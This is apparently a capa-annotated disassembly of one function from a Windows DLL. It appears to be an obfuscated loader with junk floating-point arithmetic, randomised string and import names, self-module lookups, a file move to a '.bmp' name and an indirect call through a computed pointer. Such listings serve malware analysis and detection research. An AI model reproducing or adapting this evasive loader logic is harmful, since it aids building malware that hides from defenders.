Function at 0x10002220
Capabilities:
Get common file path
Get file size
Move file
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6cc
mov eax, dword [0x10017038]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push 4
call fcn.10003596
add esp, 4
mov dword [ebp - 0x690], eax
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x140], 0x21
push 4
call fcn.10003596
add esp, 4
mov dword [ebp - 0x694], eax
mov ecx, dword [ebp - 0x694]
mov dword [ebp - 0x41c], ecx
mov ecx, 0xb
mov esi, str.TTsMOoOCRGjhKhTMVqBdo
lea edi, [ebp - 0x418]
rep movsd dword es:[edi], dword [esi]
push 0x1dc
push 0
lea edx, [ebp - 0x3ec]
push edx
call fcn.100064b0
add esp, 0xc
push str.pwbkntmyghyesm
call sym.zeothfu.dll_faxwpyqqozk
add esp, 4
mov byte [0x100190ad], al
mov dword [ebp - 0x1a0], 0x100190ad
push 0x1c
lea eax, [ebp - 0x13c]
push eax
push 0x10019100
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [ebp - 0x138]
mov dword [0x100190f8], ecx
push 0x104
lea edx, [ebp - 0x630]
push edx
mov eax, dword [0x100190f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x64
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x10019114], eax
push 0
push 0x14
mov ecx, dword [0x10019114]
push ecx
call fcn.10001560
add esp, 0xc
push 0x104
lea edx, [ebp - 0x630]
push edx
push 0x104
lea eax, [ebp - 0x120]
push eax
call fcn.100034d2
add esp, 0x10
mov dword [0x10019104], 0x2f
movzx ecx, byte [0x10017e27]
mov eax, 0xfffffff8
cdq
idiv dword [0x10019104]
xor ecx, eax
xor ecx, 0xfffffff8
mov dword [0x10019104], ecx
fld dword [0x10017e34]
fadd qword [0x10013490]
fstp dword [0x10017e34]
fld dword [0x10017e34]
fadd qword [0x10013490]
fstp dword [0x10017e34]
push ecx
fld dword [0x10017e34]
fstp dword [esp]
call fcn.10001020
add esp, 4
fidivr dword [0x10019104]
fstp dword [0x10017e34]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [0x1001911c], eax
mov edx, dword [0x1001911c]
push edx
mov eax, dword [ebp - 0x1a4]
push eax
call fcn.100012a0
add esp, 8
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.IndexerVolumeGuid
lea edx, [ebp - 0x630]
push edx
push str._s_s
push 0x104
lea eax, [ebp - 0x630]
push eax
call fcn.1000321d
add esp, 0x14
mov byte [ebp - 0x210], 0x5c
mov cl, byte [0x100190ac]
mov byte [ebp - 0x20f], cl
mov dl, byte [0x100190ba]
mov byte [ebp - 0x20e], dl
mov byte [ebp - 0x20d], 0
push 0x42
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.100064b0
add esp, 0xc
push str.htfavglptzyyesi
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea edx, [ebp - 0x210]
mov dword [0x100190fc], edx
mov eax, dword [0x10017e30]
imul eax, eax, 9
sar eax, 3
sar eax, 6
mov ecx, dword [0x10017e30]
or ecx, 0xe
and eax, ecx
mov dword [0x10019104], eax
push ecx
fld dword [0x10019108]
fstp dword [esp]
call fcn.10001060
add esp, 4
fsub qword [0x10013488]
fstp qword [0x10017e48]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea eax, [ebp - 0x120]
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x6a0]
add ecx, 1
mov dword [ebp - 0x6a4], ecx
mov edx, dword [ebp - 0x6a0]
mov al, byte [edx]
mov byte [ebp - 0x6a5], al
add dword [ebp - 0x6a0], 1
cmp byte [ebp - 0x6a5], 0
jne 0x100024b9
mov ecx, dword [ebp - 0x6a0]
sub ecx, dword [ebp - 0x6a4]
mov dword [ebp - 0x6ac], ecx
mov edx, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x6ac]
mov dword [edx], eax
push 0x190
call fcn.100029c4
add esp, 4
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x698]
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x19c]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ecx
fld dword [0x10013484]
fstp dword [esp]
call fcn.100010d0
add esp, 4
call fcn.1000bc90
mov dword [0x10019100], eax
mov eax, dword [0x10019100]
push eax
call fcn.10001360
add esp, 4
cmp eax, dword [0x10019100]
je 0x10002564
push 0x34
call fcn.10001360
add esp, 4
push 0x20
call sym.zeothfu.dll_ajjxnyvuhpmgqhd
add esp, 4
lea ecx, [ebp - 0x630]
push ecx
mov edx, dword [ebp - 0x638]
push edx
call fcn.100018a0
add esp, 8
call fcn.100034b1
cdq
mov ecx, 5
idiv ecx
mov byte [0x100190ad], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1a8], eax
mov edx, dword [ebp - 0x1a8]
xor edx, 0x30
add edx, dword [0x10019100]
mov dword [0x10019100], edx
mov dword [0x100190f4], 0x20
push 1
push 0x100190f4
call fcn.10001470
add esp, 4
push eax
push str.lmsnckeqy_d_d
push 0x10017e50
call fcn.100029de
add esp, 0x10
movzx eax, byte [0x10017e27]
add eax, 4
mov ecx, dword [0x10017e28]
add ecx, 5
imul eax, ecx
mov dword [0x10019104], eax
push 0x64
push 0x10017e50
mov edx, dword [0x100190f4]
push edx
call fcn.100016e0
add esp, 0xc
lea eax, [ebp - 8]
push eax
mov ecx, dword [0x1001911c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [0x10017e44], eax
cmp dword [0x10017e44], 0
jne 0x1000263e
mov dword [0x10017e44], 6
push ecx
fld dword [0x10013480]
fstp dword [esp]
fld dword [0x10019108]
fadd st(0), st(0)
fstp dword [ebp - 0x6b0]
fld dword [ebp - 0x6b0]
push ecx
fstp dword [esp]
call fcn.100010b0
add esp, 8
fcomp qword [0x10013478]
fnstsw ax
test ah, 1
jne 0x1000268a
mov eax, dword [0x10017e2c]
cdq
mov ecx, 0x34d
idiv ecx
neg edx
mov dword [0x10019104], edx
xor edx, edx
cmp dword [0x1001911c], 0
sete dl
xor eax, eax
cmp dword [0x1001911c], 0xffffffff
sete al
or edx, eax
je 0x100026ba
push str.njiuxnbnigdogcqq
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov dword [0x1001911c], eax
jmp 0x100026ff
mov byte [ebp - 0x688], 0
push 0x4f
push 0
lea ecx, [ebp - 0x687]
push ecx
call fcn.100064b0
add esp, 0xc
push 4
call fcn.10003596
add esp, 4
mov dword [ebp - 0x69c], eax
mov edx, dword [ebp - 0x69c]
mov dword [0x1001910c], edx
lea eax, [ebp - 0x688]
push eax
call fcn.100015b0
add esp, 4
fld qword [0x10013470]
fstp qword [ebp - 0x198]
fld qword [0x10013468]
fstp qword [ebp - 0x190]
fld qword [0x10013460]
fstp qword [ebp - 0x188]
fld qword [0x10013458]
fstp qword [ebp - 0x180]
fld qword [0x10013450]
fstp qword [ebp - 0x178]
fld qword [0x10013448]
fstp qword [ebp - 0x170]
movzx ecx, byte [0x100190ac]
mov dword [ebp - 0x6b4], ecx
fild dword [ebp - 0x6b4]
fstp qword [ebp - 0x168]
fld qword [0x10013440]
fstp qword [ebp - 0x160]
fld qword [0x10013428]
fstp qword [ebp - 0x158]
fld qword [0x10013438]
fstp qword [ebp - 0x150]
movzx edx, byte [0x100190b6]
mov dword [ebp - 0x6b8], edx
fild dword [ebp - 0x6b8]
fstp qword [ebp - 0x148]
fld qword [0x10013430]
fstp qword [ebp - 0x10]
mov dword [ebp - 0x68c], 1
jmp 0x100027c1
mov eax, dword [ebp - 0x68c]
add eax, 1
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 8
jge 0x10002819
fild dword [ebp - 0x68c]
mov ecx, dword [ebp - 0x68c]
fmul qword [ebp + ecx*8 - 0x198]
sub esp, 8
fstp qword [esp]
call fcn.100010a0
add esp, 8
mov edx, dword [ebp - 0x68c]
fstp qword [ebp + edx*8 - 0x198]
fild dword [ebp - 0x68c]
mov eax, dword [ebp - 0x68c]
fdivr qword [ebp + eax*8 - 0x198]
fmul qword [0x10017e48]
fstp qword [0x10017e48]
jmp 0x100027b2
mov ecx, dword [0x10019104]
sub ecx, 1
mov dword [0x10019104], ecx
mov eax, dword [0x10019104]
sub eax, 6
cdq
xor eax, edx
sub eax, edx
jne 0x10002846
mov edx, dword [0x10019104]
add edx, 1
mov dword [0x10019104], edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x140]
push ecx
push 0xa0
mov edx, dword [ebp - 0x638]
push edx
mov eax, dword [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x634]
push ecx
call fcn.10001bc0
add esp, 0x18
lea edx, [ebp - 0x418]
push edx
push str.srbsfcvmqdveabmkepnllqqyjvntt.bmp
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov eax, dword [0x10017e30]
imul eax, eax, 3
mov ecx, dword [0x10017e30]
lea edx, [eax + ecx*4]
mov dword [0x10019104], edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x630]
push ecx
push str._s__s
push 0x104
lea edx, [ebp - 0x528]
push edx
call fcn.10002a62
add esp, 0x14
lea eax, [ebp - 0x528]
push eax
push 0x100133e0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.rFqFpaCJZAtMN
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x1001911c], eax
push 0x10017e38
push 0x104
push 0x10017e50
mov ecx, dword [0x1001911c]
push ecx
call fcn.10001390
add esp, 0x10
mov dword [str.p1tdwiae3t4s8yirrzqp94p3cf3vqkfsekd2g2pwb9skn8g], eax
mov edx, dword [ebp - 0x638]
mov eax, dword [edx]
call eax
push 6
push str.CmKshhiECUJDQYyiw_d
lea ecx, [ebp - 0x1c8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [0x10019100], eax
lea edx, [ebp - 0x1c8]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
fld dword [0x10019108]
fdiv qword [0x10013420]
mov eax, dword [0x10017e30]
imul eax, eax, 5
mov dword [ebp - 0x6bc], eax
fisub dword [ebp - 0x6bc]
fstp dword [ebp - 0x6c0]
fld dword [ebp - 0x6c0]
push ecx
fstp dword [esp]
call fcn.10001110
add esp, 4
fld dword [0x10019108]
fmul qword [0x10013420]
fisub dword [0x10017e30]
fstp dword [ebp - 0x6c4]
fld dword [ebp - 0x6c4]
push ecx
fstp dword [esp]
fstp qword [ebp - 0x6cc]
call fcn.100010f0
add esp, 4
fmul qword [ebp - 0x6cc]
fstp dword [0x10017e34]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100029cf
mov esp, ebp
pop ebp
ret